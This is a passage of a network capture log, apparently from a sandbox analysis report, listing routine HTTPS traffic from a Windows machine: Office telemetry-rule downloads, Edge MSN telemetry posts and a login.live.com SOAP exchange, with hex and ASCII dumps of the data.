2024-11-21 23:12:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:04 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:05 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231205Z-178bfbc474bq2pr7hC1NYCkfgg000000028g00000000f58q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:12:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49926	52.168.117.168	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:04 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230722657&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5464 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; msnup=
2024-11-21 23:12:04 UTC	5464	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 33 3a 31 32 3a 30 32 2e 36 35 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 38 66 65 32 64 66 32 2d 64 65 39 66 2d 34 63 63 66 2d 38 61 38 34 2d 39 37 38 34 63 62 30 31 32 63 39 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 31 36 35 36 37 37 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-21T23:12:02.656Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"18fe2df2-de9f-4ccf-8a84-9784cb012c92","epoch":"2616567796"},"app":{"loc
2024-11-21 23:12:05 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b6d47efe1dc24858b6249fff3854f986&HASH=b6d4&LV=202411&V=4&LU=1732230725071; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 23:12:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c5e4f56c667248a1b22925ec17ba06b9; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 23:42:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2414 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 23:12:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:04 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:05 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231205Z-178bfbc474bxkclvhC1NYC69g400000002600000000006z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:05 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49924	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 23:12:05 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 23:12:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 23:11:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_BL2 x-ms-request-id: 32a57941-3076-4b08-8a57-f72929373de6 PPServer: PPV: 30 H: BL02EPF0001D7D5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 23:12:05 GMT Connection: close Content-Length: 11389
2024-11-21 23:12:06 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:05 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231205Z-178bfbc474bpnd5vhC1NYC4vr4000000027g0000000015zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:05 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:06 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:06 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231206Z-174c587ffdfks6tlhC1TEBeza400000000n000000000pu6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:12:06 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:06 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231207Z-174c587ffdfb74xqhC1TEBhabc00000000p00000000077mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:07 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:07 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231207Z-178bfbc474btrnf9hC1NYCb80g00000002cg000000000su2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:07 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:07 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 45336a67-c01e-0014-2f6a-3ca6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231207Z-174c587ffdfmrvb9hC1TEBtn3800000000p0000000008agr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 23:12:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:07 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:08 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231208Z-178bfbc474bfw4gbhC1NYCunf400000002800000000001za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
